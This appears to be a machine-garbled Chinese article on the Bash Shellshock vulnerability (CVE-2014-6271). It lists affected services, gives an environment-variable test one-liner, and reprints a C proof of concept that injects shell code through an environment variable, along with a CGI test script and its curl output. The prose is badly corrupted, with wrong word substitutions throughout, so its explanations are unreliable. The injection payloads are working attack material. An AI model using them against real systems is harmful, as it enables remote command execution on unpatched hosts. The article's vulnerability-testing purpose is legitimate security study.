0x00 什么是BASH
Bourne Again Shell(簡(jiǎn)稱BASH)是在GNU/Linux上最風(fēng)行的SHELL實(shí)現(xiàn),于1980年降生,顛末尾幾十年的進(jìn)化從一個(gè)簡(jiǎn)樸的終端呼吁行表明器演釀成了和GNU系統(tǒng)深 度整合的多成果接口。
0x01 CVE-2014-6271
法國(guó)GNU/Linux喜好者Stéphane Chazelas于2014年9月中旬發(fā)明白著名的SHELL實(shí))的一個(gè)裂痕,你可以通過(guò)結(jié)構(gòu)情況變量的值來(lái)執(zhí)行你想要執(zhí)行的劇本代碼,據(jù)報(bào)道稱,這個(gè)裂痕能影響浩瀚的運(yùn)行在GNU/Linux上的會(huì)跟BASH交互的應(yīng)用措施,包羅:
在sshd設(shè)置中利用了ForceCommand用以限制長(zhǎng)途用戶執(zhí)行呼吁,這個(gè)裂痕可以繞過(guò)限制去執(zhí)行任何呼吁。一些Git和Subversion陳設(shè)情況的限制Shell也會(huì)呈現(xiàn)雷同環(huán)境,OpenSSH凡是用法沒(méi)有問(wèn)題。
Apache處事器利用mod_cgi可能mod_cgid,假如CGI劇本在BASH可能運(yùn)行在子SHELL里城市受影響。子Shell中利用C的system/popen,,Python中利用os.system/os.popen,PHP中利用system/exec(CGI模式)和Perl中利用open/system的環(huán)境城市受此裂痕影響。
PHP劇本執(zhí)行在mod_php不會(huì)受影響。
DHCP客戶端挪用shell劇本吸收長(zhǎng)途惡意處事器的情況變量參數(shù)值的環(huán)境會(huì)被此裂痕操作。
守護(hù)歷程和SUID措施在情況變量配置的情況下執(zhí)行SHELL劇本也大概受到影響。
任何其他措施執(zhí)行SHELL劇本時(shí)用BASH作為表明器都大概受影響。Shell劇本不導(dǎo)出的環(huán)境下不會(huì)受影響。
OpenSSH, Apache2, php, dhcp client甚至帶SUID的措施。
1,當(dāng)?shù)豐HELL情況中測(cè)試是否有裂痕:$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
假如存在裂痕會(huì)打印"vulnerable"。
2,C措施:-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
測(cè)試:
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me
這個(gè)POC中可以看出BASH基礎(chǔ)就沒(méi)有去處理懲罰末了,后頭我們可以通過(guò)補(bǔ)丁來(lái)看為什么。
3,INVISIBLETHREAT上對(duì)付HTTP情況的測(cè)試:建設(shè)一個(gè)劇本叫poc.cgi:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把劇本放入測(cè)試機(jī)后,輸入:
$ curl http://192.168.0.1/poc.cgi<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>